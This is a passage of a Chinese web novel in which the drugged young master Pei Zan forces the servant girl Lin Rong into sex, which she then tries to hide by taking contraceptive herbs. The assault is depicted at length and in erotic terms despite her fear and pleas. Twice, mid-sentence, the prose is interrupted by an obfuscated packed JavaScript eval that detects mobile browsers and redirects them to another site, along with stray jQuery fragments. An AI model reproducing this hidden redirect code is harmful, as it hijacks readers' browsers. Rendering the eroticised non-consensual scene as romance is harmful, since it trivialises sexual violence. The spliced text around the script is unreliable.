林蓉听得动静,又跪回原地。 裴瓒缓步走来,他不过微扬衣袖,门扉与窗牖便无风自动,闭得严丝合缝。 仅剩下的一丝月光也被户牖遮挡,屋内顿时变得薄雾冥冥,黑到伸手不见五指。 林蓉不知裴瓒想做什么,但她没被主子放行,不敢乱走,只能把头低得更深,六神无主地等待。 屋外檐下点着一盏气死风灯,被凛冽冬风送来一丝光亮,也让黑黢黢的内室多了一丝柔光。 虽然林蓉仍旧看不清屋内的家具陈设,但她能看到那一抹渐近的绿袍衣摆。 独属于男人的檀香徐徐渡来,气息腻理悠长,惑人心智。那一袭柔软衫袍的衣摆曳地,轻抚上林蓉紧贴地面的手指,是裴瓒寂静无声地走到了她的面前。 林蓉脑袋嗡鸣,樱唇翕动。 良久后,她声细如蚊虫,低语:“大少爷……可要奴婢掌灯?” “不必。”裴瓒道完这句,又低头审视她片刻。 借着浅淡的光,裴瓒看到了林蓉的脖颈。 她实在是瘦,低头时,颈珠在薄到透明的皮肉下鼓动,那点脊骨,被白洁的皮囊抻着,隐隐给人一种难言的脆弱感。 亦诱发了裴瓒嗜血的邪心。 他忽的觉得眼前的女孩有点眼熟,这样低头敛目的模样,他好似在哪里见过。 但裴瓒不屑于看她的脸,无非只是一个解燥的物件,何须她倾力讨好。 裴瓒忽的躬身,朝她伸来宽大的手掌。 林蓉猝不及防被人单臂拎起,一阵天旋地转,猛地被裴瓒按到了桌沿。 林蓉受到惊吓,她不敢回头看,只能着急地匍匐于锦布圆桌上,以一种不太雅观的姿态,任人打量、摆布。 林蓉的胯骨撞到木桌,她被坚硬的桌椅磕痛。 没等林蓉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484314|185665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身,她的纤薄肩背再次受力,竟是被裴瓒用力下压,按到了桌上。 林蓉身姿僵立,她那两条伶仃瘦弱的胳膊,都被裴瓒反剪着,压在塌陷的腰窝。 林蓉仿佛溺水的人,在她屡次要上岸呼吸时,又会有一种残忍可怖的大手,抵住她的颅顶,逼她下沉,逼她溺亡。 林蓉憋着泪,只能放弃垂死挣扎。 她好似一只引颈就戮的牲畜,任人摆布,茫然无措地忍受裴瓒的动作。 直到林蓉害怕地唤出一声:“大、大少爷?” 林蓉屈辱地折身,直到她的腿侧一片寒凉。 那一条亵裤竟是被裴瓒徒手撕裂,仅剩下几许布条落在足踝。 林蓉哑口无言,唯有惊恐的杏眸里,满溢眼泪。 好在,裴瓒玩了一会儿,终是开口说话了。 他暗藏要挟之色,沉声道:“别动,我不喜哄人,切莫惹恼了我。” 林蓉不再拧腰挣扎。 也是这时,裴瓒倾身覆来,滚沸的呼吸落在她赤着的后颈。 男人流水一般冷寂的乌发,倾泻于林蓉没有二两肉的肩胛骨上,铺陈了满满一片黑墨。 林蓉其实知道今晚的亲昵太过古怪,但她到底没有近身伺候人的经验,也无法理解裴瓒为何忽然要将她禁锢于此。 可她能感受到裴瓒的目光阴狠,一寸寸,沿着她那纤细如荷茎的后颈流连。 她也能感受到裴瓒钳制她的掌腹收着势,稍有不慎就能将她挫骨扬灰。 林蓉一直觉得裴瓒是冷冰冰的一尊佛,可今日他的身上好似烧了一场大火,竟这么热。 这点凌乱的星火,连带着她也焚灼成灰,被裴瓒烧得一干二净。 林蓉不敢轻举妄动,又低低喊了一声:“大少爷……” 实在是愚笨的丫头,遇到事情,只会用沙哑的、一点都不娇气的声音求饶。 裴瓒被她如泣如诉的娇声摧折,早已忍到极致。 如今箭在弦上,不得不发。 好在,裴瓒听到林蓉略带哭腔的呼喊,略觉吵闹,但他没嫌。 相反,裴瓒认为这个小丫头很识趣。他不喜欢女子搔首弄姿地靠近,那般惺惺作态的模样,令他感到恶心。 裴瓒挺身的刹那,难得好心,同她解释一句:“我中了药,需你帮忙疏解……” 7. 第七章 第七章 也是这一刻,林蓉终于明白了裴瓒要做的事。 在裴瓒不请自入的瞬间,林蓉杏眸圆瞪,整个人丧失了力气,瘫向木桌。 林蓉下意识收着下颌,咬唇忍疼。 恍惚间,她看到裴瓒那一只缠了慈悲佛珠的手,正掐在她瘦骨嶙峋的肩膀。 男人的手指修长,白皙如玉,他的手臂劲瘦强悍,力道凶猛,几乎要嵌进她的皮肉。 裴瓒就是一只凶神恶煞的豺狼,他如此施力,方能将林蓉困在掌心,不令她逃离深渊半分。 林蓉承着这些苦难,她记起少时的事……也是这样冷的冬日,裴瓒路过外院,救下她一命。 虽然当时的裴瓒动机不纯,虽然他满心鄙薄,但林蓉的确因裴瓒的施恩,活到了今日。 林蓉安慰自己。 她从来与人两清,她从来不会欠下人情债。 既然裴瓒中药,需要她来纾解,那她便帮他一次。 今晚的事,林蓉可以当成报恩,她惯来很能忍疼。 林蓉希望今晚一切,不过一场噩梦,待药毒解开,待夜深了,她能偷溜回房,离玉尘院远远的。 林蓉不想因一夜肌肤之亲,就成了裴瓒的通房丫鬟。 绿珠姐姐、紫烟姐姐要的泼天富贵,并不是她所愿。 林蓉就差一两银子就足够赎身了,再攒一攒就好,她快逃出生天了。 既如此,林蓉定不能被裴瓒看到这张脸,她不想被归为裴瓒的所有物。 思及至此,林蓉下意识埋头遮掩,借昏暗夜色、借凌乱的蓬茸青丝,遮挡面容。 “疼……” 无端端来的一场欢好,林蓉比起羞怯,更多的是畏惧、惶恐、不安。 她试图喊疼,借此告知裴瓒,她是初次,所以能不能稍微待她温柔一点,宽容一点,不要下手太重。 但显然,裴瓒没什么怜香惜玉的心。 在他眼中,林蓉不过是一味解药。他用了她,自当给些赏赐,他不会亏待她。 眼下,林蓉所有的讨饶话语,落到男人耳朵里。 都成了隐秘的敲打,甚至是欲拒还迎的乞怜。 裴瓒明白了,身下之人,和其他女子并无两样。 她在悄悄提醒裴瓒,她虽是婢子,却也是完璧之身,她把清白给了裴瓒,她亏大了,她需要裴瓒的补偿。 裴瓒没有惯着此女的打算,总归就一次云雨,解开药,他便会将她弃如敝履。 裴瓒闻言,也不过用发冷的长指,掠去女孩雪背上的一蓬蓬乌发。 男人阴鸷视线,逐一落在她圆润肩头,凝于那一朵胜似梅花的红色胎记上。 裴瓒眸色深湛,他与她拉开距离,毫无人情味地道:“我知道……你不必屡次提醒。若你不干净,我不会碰。” 裴瓒的话,犹如一记凶悍的耳光,狠狠掌掴在林蓉的脸皮。她的脸颊发烫,不知是恼怒还是愤恨,甚至有种尊严被人践踏的酸楚。 她有点后悔,有点无助,但最终,她还是忍下了所有。 林蓉知道,她要足够乖巧,她不过是贵人足下的污泥,实不该生出那些一无是处的自尊心。 林蓉认了命,她任裴瓒施为,任他强硬地掐腰。 林蓉的发辫散开,散乱的黑发,因那些渐起渐伏的震荡,似蛇一般在夜里放肆摇曳。 若是林蓉并非懵懂无知。 她应知道,裴瓒应该吻她、抱她、安抚她。 可裴瓒如此轻视她,他把林蓉当成可有可无的玩意儿,甚至连衣袍都不褪,就此入内。 男人身上酝酿着浓烈的酒气、素雅的雪气、清幽的檀香,他肆意妄为,没有特地为这一场敦伦做任何准备。 林蓉已经丧失了神志。 如同一滩塌皮烂骨的肉。 不知几次之后,裴瓒大发善心,回应了她:“很疼么?” 林蓉含泪点头,她怕裴瓒看不到她脸上的表情,又哑声回答:“疼的。” 裴瓒轻笑一声。 他的语气慈悲,下手却愈发重了。 林蓉难以置信地睁大眼睛,她不知裴瓒为何如此。 她的僵硬与畏惧,恰好取悦了居心不良的裴瓒。 林蓉半点不知,她那一件掺了补丁的里衣、浆洗过数次的薄裤、缝补过的棉鞋,都滋长了裴瓒某种恣情纵欲的恶念。 林蓉太过卑微与低下,仿佛她本就是泥地里的人,受什么样的磋磨、什么样的苦难,裴瓒都不必感到亏欠。 怪只怪林蓉实在太乖了,乖到即便裴瓒拧断她的脖子,她也不会哼出一声。 这是林蓉应得的劫难,他可以肆意妄为。 虽是裴瓒的初次,竟也折腾了快一个时辰。 就在林蓉以为裴瓒要完事的时候,他忽然姿态矜贵地搀住了她。 男人泛凉的指腹,摁上林蓉柔软的小腹,惊得林蓉浑身战栗,不住瑟缩。 仿佛裴瓒是何等的洪水猛兽。 林蓉捂着脸,眼泪沾了满手,她不敢回头,只能无助地喊:“求您……” 怎料,林蓉的示弱,只得到了裴瓒溢出的一声嗤笑。 男人喉间压着低喘:“……且忍一忍。” 他何必体谅她的不适,她本就是他的奴。 …… 事后,裴瓒已然穿好了软绸衣袍。 屋内仍旧没有点灯,只是荒唐的战地,从那一方坚硬的圆桌,挪到柔软的床榻。 林蓉送来的茶盏落了一地,满室狼藉,氤氲涩口的茶香。 林蓉显然受累,她背对着裴瓒,仅露出一片汗津津的美背。 隐有月光照入窗棂,女孩肩头那朵嫣红胎记,形同艳娆的梅花。 裴瓒的药毒已解,渴念散去,不再似之前那般没了神智。 他对她失了兴趣,目光变得冷冽淡漠。 那一道视线寡情寒凉,沿着林蓉不着.丝缕的瘦弱脊骨下移。 最终落到林蓉膝盖残留的一些深切指痕上。 她被他碾碎了。 身上横陈一片印记,似是经历一场酷刑。 裴瓒隐约有了印象,是他为了制住她,不慎用力掐出来的。 林蓉仍旧在忍疼,抽噎声不停,整张脸埋在被褥里,连个雪白的下颌也不露,不知是故意拿乔儿,还是真被磋磨得够惨。 裴瓒淡淡瞥她一眼,到底没有捞过她的身子,帮她拭泪。 裴瓒对她的脸不感兴趣,甚至懒得问她姓名。 裴瓒任女孩哀声哭着,不由心烦。 他披衣起身,无情地丢下了她。 “如你有需,可自行传唤仆妇擦身……你既为我解药,我会给你抬个妾位。” 裴瓒自觉如此安排,已经是仁至义尽,小丫鬟自当感恩戴德。 因此,他不再管榻上伏首的女子,只穿衣出门,前往偏院沐浴更衣去了。 - 门被打开,又再次阖上。 室内静悄悄的,林蓉无比确信裴瓒已经离开。 她不敢在榻上等待嬷嬷进门换衣,单看大少爷今晚寡情冰冷的态度,许是也不会回来寻她。 如此甚好,林蓉能趁机离开这里。 林蓉腿酸,她整个人像是被揉皱了的枯叶,连腿都抻不直了。 林蓉勉力站起,可衣裙早已破损,无法蔽体……思来想去,她只能从衣橱中拿出一条被罩裹身,再悄摸往绿珠姐姐的寝房走去。 - 绿珠今晚被冯叔耳提面命,唤去伺候裴瓒。 她心中有激动、亦有忐忑,待她洗漱换衣,前往偏房的时候,隐隐听到沉闷的击声、女子低迷的娇泣,绿珠哪里还不懂? 她不敢坏府上爷们的好事,心里也生出一重惶恐来,裴瓒分明就不是那等会怜香惜玉的主子,跟着他只怕没好事! 绿珠悄悄退下了。 偏生两个时辰后,房门被人敲响,绿珠一拉木门,竟看到裹着床单的林蓉! 绿珠虚长林蓉几岁,又是在内院混迹,什么香的臭的没听过没看过?一看林蓉脸上泪痕犹在,我见犹怜,颈子上又红梅错落,就连赤着的脚踝都遍布紫色指印,哪里不懂她受了何等的磨难。 再一看披在林蓉身上的那件床罩子,淡藤萝紫的提花缎,价值千金。 正是大房夫人沈氏为长子筹备的被褥罩子。 绿珠心中一跳,忙抓住林蓉的手腕,将她拽到房中来。 林蓉甫一被绿珠拉进屋子,含在眼眶的眼泪便扑簌簌滚落。 绿珠见到昨日还对男女情事懵懂无知的女孩,今日就开.苞成了人,胸腔也是阵阵酸涩。 她解开那一条被绸,小心打量林蓉身上的伤。 “我屋里还有放凉的洗澡水,蓉儿,你来洗洗吧。” 绿珠拍着小姑娘的肩背,搀她入水洗漱。 绿珠帮林蓉揉散身上那些看着心惊肉跳的青痕,不由深深拧眉,暗骂一句:“大少爷下手当真是黑……你就任他磋磨,也不知求一求吗?” 林蓉想到先前那一场云雨,她忍住鼻酸,小声说:“求、求过的。” 但裴瓒是心高气傲的主子,怎会听奴婢讨饶。 绿珠和林蓉相处多年,当然知道林蓉耿直心实的性子,说得好听是实诚,难听一点就是憨傻了。 绿珠无奈地问:“你都把身子给了大少爷,他可有给你什么许诺?” “他、他要我做妾……”林蓉吓得不知所措,忙对绿珠道,“绿珠姐姐,我不想做妾,我快凑好赎身银了,我得出府去。” 绿珠没想到裴瓒会应诺妾位,刚想替林蓉高兴,可没等她开口,又听小姑娘着急忙慌地否了,咬死了要出府,不由古怪地看林蓉两眼。 “能当裴大都督的姨娘,多好的事儿?你是傻了不成?” 林蓉没有多说什么,只小声说:“我就想出府……” 绿珠当她是在府外有相好的姘头,恨铁不成钢地戳了戳她的脑门:“与其跟着那些乡野汉子在外头粗茶淡饭,倒不如在后宅里吃香喝辣。你真是个蠢的!死心眼的丫头!” 林蓉心意已决:“我一定要出府的,绿珠姐姐,你帮我一次,我的衣衫坏了,我得回到外院去。” 绿珠打量她一眼,忽然想到一件事:“大少爷可有命人给你熬避子汤?” 林蓉呆若木鸡,唇瓣翕动两下,什么话都说不出来。 绿珠微微挑眉:“竟还允你留下子嗣?多大的恩典,你这个丫头怎么这么笨啊!当真是气煞我了!” “我、我……” 绿珠看她眼眶又红了,只能叹息一声:“蓉儿,你都是大少爷房里人了,还能怎么离府?” 林蓉悄声道:“大少爷一直都是从后行事,他没见过我的脸,也不知我名字……今晚送茶的事,我是顶了旁人的缺儿,就赵阿婆知道我来玉尘院了。只要我口风严一些,应该不会被大少爷发现的。” 绿珠闻言,既感叹林蓉在这种时候脑子倒好,又遗憾偏生她死心眼倔得很,天大的馅饼都不吃。 绿珠拿她没办法,又见她一边搓洗红痕,一边咬牙忍疼,当真是可怜。 绿珠叹了一口气。 她给林蓉拿了一身干净的衣裙,再叮嘱林蓉明日定要出府买一帖避子汤药来吃。 免得到时候,林蓉怀了身子,大少爷又不认,一个秽乱后宅的帽子压下来,那就真的吃不了兜着走了。 - 年初,飞雪漫天。 即便早晨停了雪,屋外依旧是苍茫一片。 裴瓒昨夜回了寝室入睡,并未在意那个承宠的小丫鬟。 今早他洗漱更衣,穿戴齐整后,方才记起了此前的一场荒唐。 裴瓒心性淡薄,不重渴欲,又因少时身边总被沈氏安插耳目,更是厌极了旁人近身。 这些年为了功名利禄,裴瓒一心从戎,驰骋沙场,没有闲心往房中添置侍奉的姬妾。 若不是昨夜饮下媚.毒,他怎会与一名婢子交.合…… 裴瓒的眸色沉寂,脸色冷若冰渣。 秦王胆肥,竟敢算计于他。裴瓒寻到机会,自会连本带利还他这份大礼。 裴瓒思索片刻,在用膳之前,还是去了一趟昨晚欢好的偏房。 日光漫进梅兰竹菊雕窗,一室雪亮。 裴瓒瞥去一眼,只看到一地茶壶碎片,以及那团揉到凌乱的被褥。 屋里空无一人,昨晚的丫鬟早已不知所踪。 裴瓒的凤眼暗沉,带有粗粝薄茧的拇指,已用力捻上了腕骨佛珠。 “老冯!”裴瓒戾喝一声。 冯叔听到传召,三两步奔进屋内,跪到自家主子面前,“爷,您唤老奴?” 裴瓒忍下胸臆间暗涌的恶念,寒声问他:“昨夜可有安排婢子随侍?” 冯叔纳闷地看了主子一眼,嘟囔:“自然啊。老奴特地唤绿珠姑娘来侍奉大少爷,难不成是绿珠姑娘做事不够尽心?” 听完,裴瓒眸中冷意稍缓,他淡道一声:“传绿珠入院领赏。” - 正厅里,裴瓒坐于紫檀如意云头官椅间,手中置着一盏猴魁茶。 男人一张冷脸,被热气袅袅的茶烟萦绕,两道如炬目光阴气森森,凝于绿珠不住低下的头顶,不断逡巡。 不过是一道雷霆视线,竟也蕴含为官多年的威慑,直将绿珠压弯了脊,让她感到不寒而栗,久不能言。 裴瓒搁置茶碗,慢条斯理地道:“问你几件事,若答得好,还能站着出门,若满口胡诌,这双腿便剁了吧。” 此言一出,绿珠想到紫烟在庭外受刑的惨状,又是浑身发抖,忙磕头道:“奴、奴婢是玉尘院的丫鬟,待主子忠心耿耿,不敢有所隐瞒。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484315|185665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 绿珠不知裴瓒为何发难,心里叫苦不迭,只求今日有命,能活着出去。 此前,绿珠在厅堂布膳,一听裴瓒传召,心里激荡不已。 她记得蓉丫头行房没有露脸的事,还想着有没有那个冒名顶替的福分。 但当绿珠跪到在裴瓒跟前,忍受府上主子那一道足以将人开膛破肚的可怖目光,她终是熄了所有上不得台面的小心思。 这哪里是家里的主子,这分明是半夜索命的阎罗王! 裴瓒敲打够了,漫不经心地问:“昨夜,可是你在近前侍奉?” 夜里昏黑,裴瓒虽没端详身下女子的样貌,但他记得她的身量……绿珠个子高些,绝非昨夜承受雨露的女子。 他想知道绿珠是否满口胡言。 好在绿珠聪慧,不敢对杀伐果决的大都督有所欺瞒。 她颤声道:“昨夜奴婢本想沐浴后,再来服侍主子,怎料白日倦极,径自睡了过去……等夜里赶去偏房,屋里早已空无一人。” 绿珠待林蓉还算有情有义,她没有暴露蓉丫头的行踪,只一气儿推脱,说是自己睡过了头,这才错失侍寝的良机。 然而,裴瓒又怎是好欺瞒的主子。 男人微微阖目,听出关窍,问了一句:“你是几时去的偏房?” 绿珠汗如雨下,嗫嚅:“寅时三刻……” 时辰上没有错漏,神情亦惶恐不宁,并非欺瞒之态。 裴瓒不再多言,命绿珠退下。 绿珠死里逃生,夹袄早已被汗水浸透,她逃也似的离开了花厅,不敢再出现于裴瓒跟前。 一旁看戏的冯叔回过味来,他好奇地问了句:“爷,难不成昨晚侍奉您的丫鬟……不是这个绿珠?” 裴瓒皱眉不语。 他记得那名婢子衣着简陋,并非绿珠这等大丫鬟身上穿的绮罗绸缎,想来不过是个端茶递水的下等丫头。 倒是裴瓒昨夜性燥,没有多问,竟恩宠了这样上不得台面的婢子……堪称奇耻大辱。 裴瓒想到今日偏房的狼藉,又记起昨晚并没有婆子入室收拾床铺,送去避子汤药,他心中了然——是这个丫鬟欲留下雨露,又怕主子不允,执意逼她喝下避子汤药,这才深夜遁逃出院,将精.元蓄着,也好一举得子…… 倒是个心机深沉的女子。 裴瓒轻抚那一串供台上开过光的慈悲念珠,心中冷意丛生。 裴瓒心知肚明,再过几日,这名丫鬟定会主动寻上玉尘院,同他要个位份,讨些赏赐。 毕竟,裴家的婢子,无不以迈入大房后宅为荣,她又怎能免俗? 既如此,裴瓒不再费心寻这名丫鬟。 免得她承欢一夜,便恃宠生娇,日后成了侍妾,还要闹得家宅不宁。 - 昨晚,林蓉回到外院,已是深更半夜。 同室的小丫鬟春花早早睡下,林蓉也不敢打扰她,只能小心翼翼爬上床,合衣入眠。 林蓉虽把那些裴瓒留下的事物,尽数排出体外,但她到底害怕怀孕……思索了一晚上,林蓉终于想到了明天跟着赵婆子出门采买避孕药材的借口。 她可以谎称腹痛,要去买些药膳。 一整个晚上,林蓉都怀抱着那一张绿珠写给自己的避孕药方子,焦虑难眠。 她不识得纸上的字,明儿去生药铺子还得给大夫看方子,才能抓来药材。 林蓉瞧着是个黄花大闺女,可买的药材却是床笫避孕之用,也不知会不会被人指指点点。 还有……她的腿根好似破了皮,疼得厉害,是不是也该花钱买些药膏涂抹? 不知道出门一趟得花多少钱,她好不容易攒到了十四两,再花下去,又得半年攒。 林蓉叹了一口气,总觉得脑壳子嗡嗡的疼。 林蓉半睡半醒,头疼欲裂,就这么挨到了第二天早上。 一大清早,玉尘院的奴仆想来外院找人帮忙拆帐子、窗槅上的挡风毯,但林蓉不敢再招惹上大少爷,她只能假装没看到,一猫腰躲了出去,悄悄跟着赵婆子出门采买海鲜河鱼。 林蓉不爱抢活,有时还会主动把清减的杂活推给年纪轻的丫鬟做,今日倒是稀奇,竟这么鬼灵精地跟着赵婆子外出躲懒。 赵婆子笑话她:“怎么忽然粘起人来了?” 林蓉笑了下,道:“只是来了月事,腰有些疼,干不了重活。” 赵婆子知道林蓉小时候忍饥挨饿,身体亏空得厉害,自此落下了病根。 林蓉月事一直不准,每次还来势汹汹,疼得面色发白,要好几天才能好。 赵婆子到底是和小丫头有点交情,不免担忧地道:“那待会儿你去买块蔗糖糕吃吃,或是上药铺里采点药方子,再不济就用姜片煮水来喝。这是祖传下来的老方子,暖宫胞的,喝了就不会疼得厉害了。” 林蓉连连点头:“我过会儿就去生药铺子看看。” 赵婆子知道林蓉节俭,不是大病决计不会上生药铺子,今儿肯割肉放血买一回药,显然是疼得厉害。 赵婆子赶紧催促她赶紧去拿药,倒也没有强逼着林蓉一起上鱼市买鱼。 这一趟外出很是顺利,林蓉独自去了药铺,买来了绿珠指点的药材。 林蓉把药包塞到怀里,心里松了一口气。 等赵婆子买好食材时,已是金乌西沉的傍晚。 赵婆子先去和外院账房核对钱财数目,留下一个林蓉帮忙把那些竹篮里捞来的新鲜银鱼搬进公厨。 只是林蓉昨夜被裴瓒压着磋磨,太过劳累,推车入裴府角门的时候,竟一时头昏眼花,撞倒了人。 冯叔跌坐在地,哎呦叫唤一声:“哪个不长眼的丫头,竟敢撞我?!” “老天!冯管事,您摔着了!”林蓉回了魂,吓得唇色发白,连忙上前搀人。 哪知她心急火燎出手,竟一时不察踩上那条滑不留手的银鱼。 林蓉脚下打滑,摔了个屁股蹲儿。 就此,她怀里的那包避子汤的药材跌出衣襟,滚进了雪地里。 林蓉不顾屁股上的摔疼,急忙跑去捡药。 偏在这时,一双素缎男靴,由远及近踏来。 男人缓慢踱步,墨黑的狐氅拂过地皮,滚过一圈绒绒的雪絮,停在林蓉面前。 林蓉时常跪地给主子问安,自然能从鞋履认出来人。 眼前的人……竟是大少爷裴瓒? 林蓉两眼发直,脑袋好似挨了一闷棍。 她的手脚僵硬,屏息以待,忽然被老道定了身一般,动弹不得。 直到那一只男靴,无情地碾上了那一丝儿红花、浣花草,林蓉方才如梦初醒。 林蓉吓得瑟瑟发抖,她躬身,小心捞过剩余的药包,塞回怀中。 似是怕自己行踪诡谲,引起裴瓒疑心,林蓉又压低了头,同主子恭敬问安:“奴、奴婢见过大少爷。” 8. 第八章 第八章 林蓉自知她与裴瓒实乃云泥之别,只要她刻意避开,定能安安生生躲过一月。 待裴瓒离开祖宅,林蓉再勤奋做工,凑满赎身银,从裴府脱身,那便万事大吉了。 可她没想到,老天仿佛就爱作弄苦命人,偏生让她在今日撞上裴瓒,还跌落了那一包避孕药材。 如今的林蓉脸上的血色褪去,她只能默默祈祷,裴瓒乃桀骜男子,不屑去了解这些女科用药,他定不会觉出端倪。 但林蓉的算盘珠子显然打错了。 裴瓒多年戎马生涯,南征北战,负伤无数,他怎会不通岐黄之术? 不过眼风一掠,裴瓒便知鞋底踩着的药材,是活血通经的避子药方…… 裴瓒微微蹙眉,打量林蓉一眼。 女孩没有梳妇人髻,编了一尾辫子,缠着一寸芙蓉红的穗子发带。许是为了做事方便,耳边的碎发都捋到了耳后,脸颊雪白如玉,耳珠丰腴细嫩,瞧着年纪不大,甚至很是青涩。 明明梳着乌油油的闺阁女子髻,却已行事出格,私下里破瓜开.苞,当真是不知检点。 裴府的风气再乌七八糟,裴瓒也懒得管束。 因此,他没有多说什么,只抬步离开。 这时,冯叔已经从雪地里爬起,哎呦痛呼着,跟上自家主子。 冯叔本想发落这个莽撞的外院小丫鬟,低头一看她的脸,喜了一下,笑道:“是你这个丫头啊!” “您认识我?”林蓉茫然抬头。 冯叔夸她:“之前你来玉尘院送膳,差事办得不错,我本来还想给你赏的,哪知道你这丫头溜得倒快!” 冯叔是个老道的内宅管事,丫鬟小厮有没有不良居心,有没有藏着九转花肠子,都逃不过他的火眼金睛。 林蓉虽然只是个外院丫头,但她办事稳重,恪尽职守,还知本分,做完事情就回到外院,待两个时辰后又记得回玉尘院收拾碗碟,默默离开。 一件送膳的差事,没有内院丫鬟指点,竟也能做得有头有尾,干净漂亮,冯叔自是高看她一眼。 “后来几个送膳的仆妇做事毛手毛脚,成日咋咋呼呼不说,还擎等着我去打赏,实在可气。日后你得空,再来玉尘院送膳吧,我给你包几块红枣糕吃,亏不着你。” 冯叔如今年迈,都快七十岁了,看到林蓉就想到自己远在乡下的孙女,自然愿意关照林蓉一二。 “哦,对了,你这丫头叫什么名字?” 林蓉第一次被府上大管事和蔼慈祥地夸赞,当真受宠若惊,她忙道:“奴、奴婢名叫林蓉。林是山林的林,蓉是莲蓉糕的蓉。” “好名字!你收拾鱼车吧,我还得跟着大少爷出门办差事呢。”冯叔赞了一句,没再多说什么,放人走了。 远处的裴瓒,听到那句“来玉尘院送过膳”,不由脚步一顿,侧目回头。 裴瓒记起那日在饭厅里跽跪于地的小姑娘……她的脚趾晕红,如芙蕖尖尖。一截藕段一般的足踝,沾上消融的雪絮,愈发脆生莹润。 裴瓒心有所感,又看一眼雪地里的女孩。 林蓉跪地送行,身材婀娜娇小,长着红肿冻疮的双手规规矩矩搭在膝骨。她虽没有染抹胭脂水粉,但也算生得一张标致的桃腮杏脸,不惹人生厌。 裴瓒的目光冷漠如常,在林蓉垂下的白皙长颈,后脖子那颗微突的骨珠,静静逡巡。 直到他的沉肃墨眸,凝于林蓉那件单薄的立领棉袄之上。 女孩的衣领底下,藏着几道时隐时现的狭长淤青。 裴瓒轻扯唇角,心中了然。 那是男人掐颈施力时,不慎留下的……指痕。 - 待冯叔和裴瓒离开,林蓉忙起身,拍去膝盖上的雪絮,再把那些银鱼全收拢进竹筐里,手脚麻利地推车回公厨。 如此拾掇半天,林蓉才得了空,掏出煎药的陶瓮,熬煮避子汤。 待苦涩的汤药尽数吞进肚子里,林蓉魂魄归体,长舒了一口气。 她终于和裴瓒两清,再也不会有任何牵扯了。 这两天,林蓉来了月事,她确认自己的避子汤起效,没有怀上孩子。 林蓉拿出银钱数了数,上次买药,花了她近一两银子,现在手上也不过十三两二钱银子了,得省一点花销,只盼着正月里各房主子还能有赏钱,让她把亏空补上。 除此之外,林蓉又打起十二分的精神,仔细探听玉尘院的动静。 好在她没有听到任何寻人的消息,想来是裴瓒并不将那晚的欢好当一回事,不过幸了一个丫鬟,微末小事罢了,很快便被他抛诸脑后了。 倒是林蓉白日刻意将此事忘得一干二净,但梦里还是屡次见到穷凶极恶的裴瓒。 她梦到自己走进那一间供着尖尖糖塔的佛堂。 室内,漆黑孤寂,香火缭绕,如一口噬人的老井。 林蓉虔诚跪在蒲团上焚香诵经。 高台之上,悲天悯人的菩萨,垂眸睥睨众生。她指若兰花,做着施依印的手势,腕上除却堆叠的帔帛天衣,亦垂坠着一串乌沉的菩提木手串。 林蓉似是被宝相庄严的神像迷了眼,竟看着那一串念珠发起痴。 不知何时起,那只骨相棱棱的手无风自动,如同鬼魅。 林蓉浑身战栗,大气儿都不敢喘。 她仿佛被鬼遮眼,竟看着菩萨伸手,朝她抓来。 神佛擒住林蓉的手臂,将她轻而易举地拎到了供桌之上。 须弥莲台上的男相菩萨,渐渐有了鲜活的人气儿,那张不掺人欲的神脸,不知几时变成了裴瓒的模样。凤目高鼻,长眉入鬓,一双漆黑眸子幽邃,凝望林蓉的时候,如同雪胎梅骨的神祇。 林蓉被迫跨在裴瓒怀里,腿.骨被他一双宽大的掌腹死死挟持,动弹不得。 女孩的厚袄子被男人单手捋上,裙摆也被人大力撕扯。 林蓉冷得哆嗦,但裴瓒身上更是凉若霜雪。 他拥着她,腕上的佛珠磕在她光.裸的腰窝,木珠子质地冰冷,黏连皮囊,细细摩.挲。 似是要用她的体温,沃化这一抔雪。 念珠有一搭没一搭地撞着。 在林蓉的腰上,咚咚地响。 林蓉既惊又痛,眼眶含泪。 倒刺从外到内,扎进肉里,将她刮得鲜血淋漓。 林蓉痛苦地皱眉,久违的艰涩漫上心头,令她难以承受。 …… 林蓉受到惊吓,惊叫一声坐起。 林蓉睁开眼,凝视身上的软被,她摸了半天,确信自己还在外院,没有被困进玉尘院那间偏房里。 明纸窗外,簌簌落雪。 林蓉知道自己做了噩梦,心下松了一口气,小心擦去额上涔涔冷汗。 房里的春花也被林蓉的惊呼声吓到了,她隔着一片单薄的帘子,担忧地道:“蓉儿,你做噩梦了?我看你最近总是被魇着,是不是招了什么不干净的东西?过两天老太太要上普陀寺进香吃斋,咱们外院丫鬟也得跟着去……到时候你去大雄宝殿里上一炷香吧,香火能镇邪祟,你求个心安,来日驱邪避祟,总是好的。” 林蓉含糊地应了:“嗯,到时候看看。” 林蓉再度躺下了。 她浑身汗湿,心气浮躁地翻了个身。 谁不想消灾避祸呢?只是大少爷这一尊邪神法力通天,没那么好驱,她命薄如纸,只能多多避着了。 - 第二天,各院准备普陀寺要带的箱笼。 这次出门礼佛上香,裴瓒很给老太太面子,竟也答应同往。 裴大都督愿意随行,惊动了江州大大小小的官吏。 谢知府做东,特意请裴家老夫人上香后,再来山顶那座谢家别院小住几日,权当赏雪赏梅,外出散散心。 谢知府是二夫人谢氏的嫡亲兄长,也是谢依棠的父亲,裴老夫人知道谢家打着亲上加亲的念头,但一应事还得裴瓒松口才行。好歹是正四品的大员,官吏相邀,裴老夫人也没拿乔儿,欣然应允了。 山中游玩一事就这般定 